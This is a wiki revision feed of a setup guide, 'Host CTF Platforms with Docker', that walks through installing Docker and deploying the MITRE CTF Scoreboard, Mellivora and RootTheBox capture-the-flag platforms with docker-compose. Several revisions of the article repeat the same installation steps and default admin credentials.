** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which support Docker&lt;br /&gt;
* Docker Engine &amp;gt;= 20.10&lt;br /&gt;
** optional: Docker Desktop&lt;br /&gt;
* Ruby&lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
== Docker Setup ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
First, uninstall any conflicting packages:&lt;br /&gt;
 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done&lt;br /&gt;
&lt;br /&gt;
Then update the apt package index:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install ca-certificates curl gnupg&lt;br /&gt;
&lt;br /&gt;
After that, install the official GPG keys:&lt;br /&gt;
 sudo install -m 0755 -d /etc/apt/keyrings&lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg&lt;br /&gt;
 sudo chmod a+r /etc/apt/keyrings/docker.gpg&lt;br /&gt;
&lt;br /&gt;
When that&#039;s done, setup the repository:&lt;br /&gt;
 echo \&lt;br /&gt;
  &amp;quot;deb [arch=&amp;quot;$(dpkg --print-architecture)&amp;quot; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \&lt;br /&gt;
  &amp;quot;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;)&amp;quot; stable&amp;quot; | \&lt;br /&gt;
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
Then install the Docker Engine with the latest version:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin&lt;br /&gt;
&lt;br /&gt;
=== Verification ===&lt;br /&gt;
&lt;br /&gt;
After the installation, verify that the Docker Engine was installed successfully:&lt;br /&gt;
 sudo docker run hello-world&lt;br /&gt;
&lt;br /&gt;
== MITRE CTF Scoreboard ==&lt;br /&gt;
&lt;br /&gt;
The MITRE CTF Scoreboard is an open-source application developed by the MITRE Cyber Academy and focuses on hosting Capture The Flags in safe environments for learning, practicing and competing. It offers a wide variety of functionality, including authentication and authorization of individuals, the creation and management of teams, management of competitions and their including challenges, and much more.&lt;br /&gt;
MITRE CTF Scoreboard is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/mitre-cyber-academy/ctf-scoreboard.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd ctf-scoreboard&lt;br /&gt;
&lt;br /&gt;
After that, generate your credentials:&lt;br /&gt;
 ./setup-docker-secrets.sh&lt;br /&gt;
&lt;br /&gt;
Then run scoreboard database setup:&lt;br /&gt;
 docker-compose run web rails db:initial_setup&lt;br /&gt;
&lt;br /&gt;
Add appropriate [https://github.com/mitre-cyber-academy/ctf-scoreboard/wiki/Production-Installation#Environment-Configuration Environment Variables] into your `.env-prod` file for your environment.&lt;br /&gt;
Add NGINX_HOST to the &#039;.env&#039; file for your environment&lt;br /&gt;
 NGINX_HOST=your-scoreboard-domain.com&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Create an Admin User ===&lt;br /&gt;
After the initial installation, navigate with yout browser to &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;. This will prompt you a registration mask, on which you can create your Admin User - the following page may differ from the actual &#039;Admin Registration&#039; page.&lt;br /&gt;
&lt;br /&gt;
[[File:CreatUserCTFMitre.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== MELLIVORA ==&lt;br /&gt;
&lt;br /&gt;
Mellivora Capture the Flag (CTF) platform is a comprehensive and dynamic online platform designed for hosting and participating in cybersecurity Capture the Flag competitions. Developed with the aim of enhancing practical cybersecurity skills, Mellivora CTF offers a robust and challenging environment for individuals and teams to engage in offensive and defensive cybersecurity exercises. The platform provides a feature-rich and intuitive interface, making it accessible to both beginners and experienced cybersecurity enthusiasts. It offers a wide range of challenges across various categories, including cryptography, web exploitation, reverse engineering, forensics, and more. These challenges are designed to mimic real-world scenarios, allowing participants to develop and apply their technical skills in a safe and controlled environment.&lt;br /&gt;
Mellivora CTF emphasizes collaboration and learning by fostering a competitive and engaging atmosphere. Participants can form teams and compete against others, leveraging their collective expertise to solve complex challenges and earn points. The platform offers a scoring system that rewards both speed and accuracy, encouraging participants to strategize, communicate effectively, and think critically to maximize their score. One notable aspect of Mellivora CTF is its flexibility and extensibility. The platform supports custom challenge creation, allowing organizers to tailor the competition to their specific needs and objectives. Additionally, Mellivora CTF provides a comprehensive administrative dashboard that enables organizers to manage competitions, track progress, and analyze performance metrics in real-time.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
Mellivora is easy to use with docker-compose. Mellivora comes with an included docker-compose configuration intended for development use. If you&#039;re looking to run Mellivora using Docker(-compose) in production, a good place to start might be to copy the provided docker-compose config and changing it to suit your needs.&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd mellivora&lt;br /&gt;
&lt;br /&gt;
After that, run following command:&lt;br /&gt;
 docker-compose -f docker-compose.dev.yml up&lt;br /&gt;
&lt;br /&gt;
in the Mellivora home directory to give Apache the permissions necessary for challenge file upload and caching run following command:&lt;br /&gt;
 sudo chown -R www-data:www-data writable/&lt;br /&gt;
&lt;br /&gt;
=== Create an admin user: ===&lt;br /&gt;
* Visit http://localhost/ which should now display the Mellivora landing page.&lt;br /&gt;
* Register a new user. You will probably get an error about emails not working. The user is created and functional despite the error.&lt;br /&gt;
* Go to http://localhost:18080 where Adminer should be running (assuming you&#039;re running in dev mode). Log in with&lt;br /&gt;
&lt;br /&gt;
 Server: db&lt;br /&gt;
 Username: root&lt;br /&gt;
 Password: password&lt;br /&gt;
 Database: mellivora&lt;br /&gt;
&lt;br /&gt;
To make your user an administrator, go to &amp;quot;SQL command&amp;quot; in the menu and run:&lt;br /&gt;
 UPDATE users SET class = 100 WHERE id = 1;&lt;br /&gt;
&lt;br /&gt;
Log in at http://localhost/. Done!&lt;br /&gt;
&lt;br /&gt;
=== Tips ===&lt;br /&gt;
* The dev docker-compose profile mounts to use files directly from the host. Making changes to files on disk will result in changes to the running instance without rebuilding the container.&lt;br /&gt;
* If you are making changes to composer requirements, you will need to delete/rebuild the docker image composerdependencies.&lt;br /&gt;
* Call docker-compose -f docker-compose.dev.yml up --build to rebuild and start.&lt;br /&gt;
* Copy include/config/config.default.inc.php to include/config/config.inc.php to make your configuration changes.&lt;br /&gt;
&lt;br /&gt;
== RootTheBox ==&lt;br /&gt;
&lt;br /&gt;
Hackers can practice and learn using Root the Box, a real-time capture the flag (CTF) scoring system for computer wargames. Any CTF-style game may be easily configured and adjusted using the application. By fusing a fun game-like atmosphere with practical tasks that communicate knowledge applicable to the real-world, such as penetration testing, incident response, digital forensics, and threat hunting, the platform enables you to engage both inexperienced and experienced players.&lt;br /&gt;
RootTheBox is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/moloch--/RootTheBox.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd RootTheBox&lt;br /&gt;
&lt;br /&gt;
Update the repository:&lt;br /&gt;
 git pull&lt;br /&gt;
 docker-compose build&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;:8888&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Access Admin Dashboard ===&lt;br /&gt;
&lt;br /&gt;
RootTheBox enables Users to access an admin dashboard, which enables them to configure the platform to their need.&lt;br /&gt;
Usually, when just installed, the credentials for the admin user are the following:&lt;br /&gt;
 admin&lt;br /&gt;
 rootthebox&lt;br /&gt;
&lt;br /&gt;
Always make sure to change the password of your admin account before you start hosting the platform in production!&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.docker.com/&lt;br /&gt;
* https://github.com/mitre-cyber-academy/ctf-scoreboard&lt;br /&gt;
* https://github.com/Nakiami/mellivora&lt;br /&gt;
* https://github.com/moloch--/RootTheBox.git&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Infrastructure.jpeg&amp;diff=11741</id>
		<title>File:Infrastructure.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Infrastructure.jpeg&amp;diff=11741"/>
		<updated>2023-09-15T16:41:48Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Ctf_platform_infrastructure.jpeg&amp;diff=11740</id>
		<title>File:Ctf platform infrastructure.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Ctf_platform_infrastructure.jpeg&amp;diff=11740"/>
		<updated>2023-09-15T16:39:54Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11739</id>
		<title>Host CTF Platforms with Docker</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11739"/>
		<updated>2023-09-15T16:39:23Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about the platform itself.&lt;br /&gt;
This Article focuses on three open-source platforms and shows how to host them in a dockerized environment.&lt;br /&gt;
&lt;br /&gt;
== Infrastructure used for this work ==&lt;br /&gt;
&lt;br /&gt;
[[File:ctf_platform_infrastructure|500px]]&lt;br /&gt;
&lt;br /&gt;
== System Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which support Docker&lt;br /&gt;
* Docker Engine &amp;gt;= 20.10&lt;br /&gt;
** optional: Docker Desktop&lt;br /&gt;
* Ruby&lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
== Docker Setup ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
First, uninstall any conflicting packages:&lt;br /&gt;
 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done&lt;br /&gt;
&lt;br /&gt;
Then update the apt package index:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install ca-certificates curl gnupg&lt;br /&gt;
&lt;br /&gt;
After that, install the official GPG keys:&lt;br /&gt;
 sudo install -m 0755 -d /etc/apt/keyrings&lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg&lt;br /&gt;
 sudo chmod a+r /etc/apt/keyrings/docker.gpg&lt;br /&gt;
&lt;br /&gt;
When that&#039;s done, setup the repository:&lt;br /&gt;
 echo \&lt;br /&gt;
  &amp;quot;deb [arch=&amp;quot;$(dpkg --print-architecture)&amp;quot; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \&lt;br /&gt;
  &amp;quot;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;)&amp;quot; stable&amp;quot; | \&lt;br /&gt;
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
Then install the Docker Engine with the latest version:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin&lt;br /&gt;
&lt;br /&gt;
=== Verification ===&lt;br /&gt;
&lt;br /&gt;
After the installation, verify that the Docker Engine was installed successfully:&lt;br /&gt;
 sudo docker run hello-world&lt;br /&gt;
&lt;br /&gt;
== MITRE CTF Scoreboard ==&lt;br /&gt;
&lt;br /&gt;
The MITRE CTF Scoreboard is an open-source application developed by the MITRE Cyber Academy and focuses on hosting Capture The Flags in safe environments for learning, practicing and competing. It offers a wide variety of functionality, including authentication and authorization of individuals, the creation and management of teams, management of competitions and their including challenges, and much more.&lt;br /&gt;
MITRE CTF Scoreboard is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/mitre-cyber-academy/ctf-scoreboard.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd ctf-scoreboard&lt;br /&gt;
&lt;br /&gt;
After that, generate your credentials:&lt;br /&gt;
 ./setup-docker-secrets.sh&lt;br /&gt;
&lt;br /&gt;
Then run scoreboard database setup:&lt;br /&gt;
 docker-compose run web rails db:initial_setup&lt;br /&gt;
&lt;br /&gt;
Add appropriate [https://github.com/mitre-cyber-academy/ctf-scoreboard/wiki/Production-Installation#Environment-Configuration Environment Variables] into your `.env-prod` file for your environment.&lt;br /&gt;
Add NGINX_HOST to the &#039;.env&#039; file for your environment&lt;br /&gt;
 NGINX_HOST=your-scoreboard-domain.com&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Create an Admin User ===&lt;br /&gt;
After the initial installation, navigate with yout browser to &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;. This will prompt you a registration mask, on which you can create your Admin User - the following page may differ from the actual &#039;Admin Registration&#039; page.&lt;br /&gt;
&lt;br /&gt;
[[File:CreatUserCTFMitre.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== MELLIVORA ==&lt;br /&gt;
&lt;br /&gt;
Mellivora Capture the Flag (CTF) platform is a comprehensive and dynamic online platform designed for hosting and participating in cybersecurity Capture the Flag competitions. Developed with the aim of enhancing practical cybersecurity skills, Mellivora CTF offers a robust and challenging environment for individuals and teams to engage in offensive and defensive cybersecurity exercises. The platform provides a feature-rich and intuitive interface, making it accessible to both beginners and experienced cybersecurity enthusiasts. It offers a wide range of challenges across various categories, including cryptography, web exploitation, reverse engineering, forensics, and more. These challenges are designed to mimic real-world scenarios, allowing participants to develop and apply their technical skills in a safe and controlled environment.&lt;br /&gt;
Mellivora CTF emphasizes collaboration and learning by fostering a competitive and engaging atmosphere. Participants can form teams and compete against others, leveraging their collective expertise to solve complex challenges and earn points. The platform offers a scoring system that rewards both speed and accuracy, encouraging participants to strategize, communicate effectively, and think critically to maximize their score. One notable aspect of Mellivora CTF is its flexibility and extensibility. The platform supports custom challenge creation, allowing organizers to tailor the competition to their specific needs and objectives. Additionally, Mellivora CTF provides a comprehensive administrative dashboard that enables organizers to manage competitions, track progress, and analyze performance metrics in real-time.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
Mellivora is easy to use with docker-compose. Mellivora comes with an included docker-compose configuration intended for development use. If you&#039;re looking to run Mellivora using Docker(-compose) in production, a good place to start might be to copy the provided docker-compose config and changing it to suit your needs.&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd mellivora&lt;br /&gt;
&lt;br /&gt;
After that, run following command:&lt;br /&gt;
 docker-compose -f docker-compose.dev.yml up&lt;br /&gt;
&lt;br /&gt;
in the Mellivora home directory to give Apache the permissions necessary for challenge file upload and caching run following command:&lt;br /&gt;
 sudo chown -R www-data:www-data writable/&lt;br /&gt;
&lt;br /&gt;
=== Create an admin user: ===&lt;br /&gt;
* Visit http://localhost/ which should now display the Mellivora landing page.&lt;br /&gt;
* Register a new user. You will probably get an error about emails not working. The user is created and functional despite the error.&lt;br /&gt;
* Go to http://localhost:18080 where Adminer should be running (assuming you&#039;re running in dev mode). Log in with&lt;br /&gt;
&lt;br /&gt;
 Server: db&lt;br /&gt;
 Username: root&lt;br /&gt;
 Password: password&lt;br /&gt;
 Database: mellivora&lt;br /&gt;
&lt;br /&gt;
To make your user an administrator, go to &amp;quot;SQL command&amp;quot; in the menu and run:&lt;br /&gt;
 UPDATE users SET class = 100 WHERE id = 1;&lt;br /&gt;
&lt;br /&gt;
Log in at http://localhost/. Done!&lt;br /&gt;
&lt;br /&gt;
=== Tips ===&lt;br /&gt;
* The dev docker-compose profile mounts to use files directly from the host. Making changes to files on disk will result in changes to the running instance without rebuilding the container.&lt;br /&gt;
* If you are making changes to composer requirements, you will need to delete/rebuild the docker image composerdependencies.&lt;br /&gt;
* Call docker-compose -f docker-compose.dev.yml up --build to rebuild and start.&lt;br /&gt;
* Copy include/config/config.default.inc.php to include/config/config.inc.php to make your configuration changes.&lt;br /&gt;
&lt;br /&gt;
== RootTheBox ==&lt;br /&gt;
&lt;br /&gt;
Hackers can practice and learn using Root the Box, a real-time capture the flag (CTF) scoring system for computer wargames. Any CTF-style game may be easily configured and adjusted using the application. By fusing a fun game-like atmosphere with practical tasks that communicate knowledge applicable to the real-world, such as penetration testing, incident response, digital forensics, and threat hunting, the platform enables you to engage both inexperienced and experienced players.&lt;br /&gt;
RootTheBox is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/moloch--/RootTheBox.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd RootTheBox&lt;br /&gt;
&lt;br /&gt;
Update the repository:&lt;br /&gt;
 git pull&lt;br /&gt;
 docker-compose build&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;:8888&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Access Admin Dashboard ===&lt;br /&gt;
&lt;br /&gt;
RootTheBox enables Users to access an admin dashboard, which enables them to configure the platform to their need.&lt;br /&gt;
Usually, when just installed, the credentials for the admin user are the following:&lt;br /&gt;
 admin&lt;br /&gt;
 rootthebox&lt;br /&gt;
&lt;br /&gt;
Always make sure to change the password of your admin account before you start hosting the platform in production!&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.docker.com/&lt;br /&gt;
* https://github.com/mitre-cyber-academy/ctf-scoreboard&lt;br /&gt;
* https://github.com/Nakiami/mellivora&lt;br /&gt;
* https://github.com/moloch--/RootTheBox.git&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11738</id>
		<title>Host CTF Platforms with Docker</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11738"/>
		<updated>2023-09-15T16:21:59Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about the platform itself.&lt;br /&gt;
This Article focuses on three open-source platforms and shows how to host them in a dockerized environment.&lt;br /&gt;
&lt;br /&gt;
== System Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which support Docker&lt;br /&gt;
* Docker Engine &amp;gt;= 20.10&lt;br /&gt;
** optional: Docker Desktop&lt;br /&gt;
* Ruby&lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
== Docker Setup ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
First, uninstall any conflicting packages:&lt;br /&gt;
 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done&lt;br /&gt;
&lt;br /&gt;
Then update the apt package index:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install ca-certificates curl gnupg&lt;br /&gt;
&lt;br /&gt;
After that, install the official GPG keys:&lt;br /&gt;
 sudo install -m 0755 -d /etc/apt/keyrings&lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg&lt;br /&gt;
 sudo chmod a+r /etc/apt/keyrings/docker.gpg&lt;br /&gt;
&lt;br /&gt;
When that&#039;s done, setup the repository:&lt;br /&gt;
 echo \&lt;br /&gt;
  &amp;quot;deb [arch=&amp;quot;$(dpkg --print-architecture)&amp;quot; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \&lt;br /&gt;
  &amp;quot;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;)&amp;quot; stable&amp;quot; | \&lt;br /&gt;
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
Then install the Docker Engine with the latest version:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin&lt;br /&gt;
&lt;br /&gt;
=== Verification ===&lt;br /&gt;
&lt;br /&gt;
After the installation, verify that the Docker Engine was installed successfully:&lt;br /&gt;
 sudo docker run hello-world&lt;br /&gt;
&lt;br /&gt;
== MITRE CTF Scoreboard ==&lt;br /&gt;
&lt;br /&gt;
The MITRE CTF Scoreboard is an open-source application developed by the MITRE Cyber Academy and focuses on hosting Capture The Flags in safe environments for learning, practicing and competing. It offers a wide variety of functionality, including authentication and authorization of individuals, the creation and management of teams, management of competitions and their including challenges, and much more.&lt;br /&gt;
MITRE CTF Scoreboard is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/mitre-cyber-academy/ctf-scoreboard.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd ctf-scoreboard&lt;br /&gt;
&lt;br /&gt;
After that, generate your credentials:&lt;br /&gt;
 ./setup-docker-secrets.sh&lt;br /&gt;
&lt;br /&gt;
Then run scoreboard database setup:&lt;br /&gt;
 docker-compose run web rails db:initial_setup&lt;br /&gt;
&lt;br /&gt;
Add appropriate [https://github.com/mitre-cyber-academy/ctf-scoreboard/wiki/Production-Installation#Environment-Configuration Environment Variables] into your `.env-prod` file for your environment.&lt;br /&gt;
Add NGINX_HOST to the &#039;.env&#039; file for your environment&lt;br /&gt;
 NGINX_HOST=your-scoreboard-domain.com&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Create an Admin User ===&lt;br /&gt;
After the initial installation, navigate with yout browser to &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;. This will prompt you a registration mask, on which you can create your Admin User - the following page may differ from the actual &#039;Admin Registration&#039; page.&lt;br /&gt;
&lt;br /&gt;
[[File:CreatUserCTFMitre.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== MELLIVORA ==&lt;br /&gt;
&lt;br /&gt;
Mellivora Capture the Flag (CTF) platform is a comprehensive and dynamic online platform designed for hosting and participating in cybersecurity Capture the Flag competitions. Developed with the aim of enhancing practical cybersecurity skills, Mellivora CTF offers a robust and challenging environment for individuals and teams to engage in offensive and defensive cybersecurity exercises. The platform provides a feature-rich and intuitive interface, making it accessible to both beginners and experienced cybersecurity enthusiasts. It offers a wide range of challenges across various categories, including cryptography, web exploitation, reverse engineering, forensics, and more. These challenges are designed to mimic real-world scenarios, allowing participants to develop and apply their technical skills in a safe and controlled environment.&lt;br /&gt;
Mellivora CTF emphasizes collaboration and learning by fostering a competitive and engaging atmosphere. Participants can form teams and compete against others, leveraging their collective expertise to solve complex challenges and earn points. The platform offers a scoring system that rewards both speed and accuracy, encouraging participants to strategize, communicate effectively, and think critically to maximize their score. One notable aspect of Mellivora CTF is its flexibility and extensibility. The platform supports custom challenge creation, allowing organizers to tailor the competition to their specific needs and objectives. Additionally, Mellivora CTF provides a comprehensive administrative dashboard that enables organizers to manage competitions, track progress, and analyze performance metrics in real-time.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
Mellivora is easy to use with docker-compose. Mellivora comes with an included docker-compose configuration intended for development use. If you&#039;re looking to run Mellivora using Docker(-compose) in production, a good place to start might be to copy the provided docker-compose config and changing it to suit your needs.&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd mellivora&lt;br /&gt;
&lt;br /&gt;
After that, run following command:&lt;br /&gt;
 docker-compose -f docker-compose.dev.yml up&lt;br /&gt;
&lt;br /&gt;
in the Mellivora home directory to give Apache the permissions necessary for challenge file upload and caching run following command:&lt;br /&gt;
 sudo chown -R www-data:www-data writable/&lt;br /&gt;
&lt;br /&gt;
=== Create an admin user: ===&lt;br /&gt;
* Visit http://localhost/ which should now display the Mellivora landing page.&lt;br /&gt;
* Register a new user. You will probably get an error about emails not working. The user is created and functional despite the error.&lt;br /&gt;
* Go to http://localhost:18080 where Adminer should be running (assuming you&#039;re running in dev mode). Log in with&lt;br /&gt;
&lt;br /&gt;
 Server: db&lt;br /&gt;
 Username: root&lt;br /&gt;
 Password: password&lt;br /&gt;
 Database: mellivora&lt;br /&gt;
&lt;br /&gt;
To make your user an administrator, go to &amp;quot;SQL command&amp;quot; in the menu and run:&lt;br /&gt;
 UPDATE users SET class = 100 WHERE id = 1;&lt;br /&gt;
&lt;br /&gt;
Log in at http://localhost/. Done!&lt;br /&gt;
&lt;br /&gt;
=== Tips ===&lt;br /&gt;
* The dev docker-compose profile mounts to use files directly from the host. Making changes to files on disk will result in changes to the running instance without rebuilding the container.&lt;br /&gt;
* If you are making changes to composer requirements, you will need to delete/rebuild the docker image composerdependencies.&lt;br /&gt;
* Call docker-compose -f docker-compose.dev.yml up --build to rebuild and start.&lt;br /&gt;
* Copy include/config/config.default.inc.php to include/config/config.inc.php to make your configuration changes.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.docker.com/&lt;br /&gt;
* https://github.com/mitre-cyber-academy/ctf-scoreboard&lt;br /&gt;
* https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
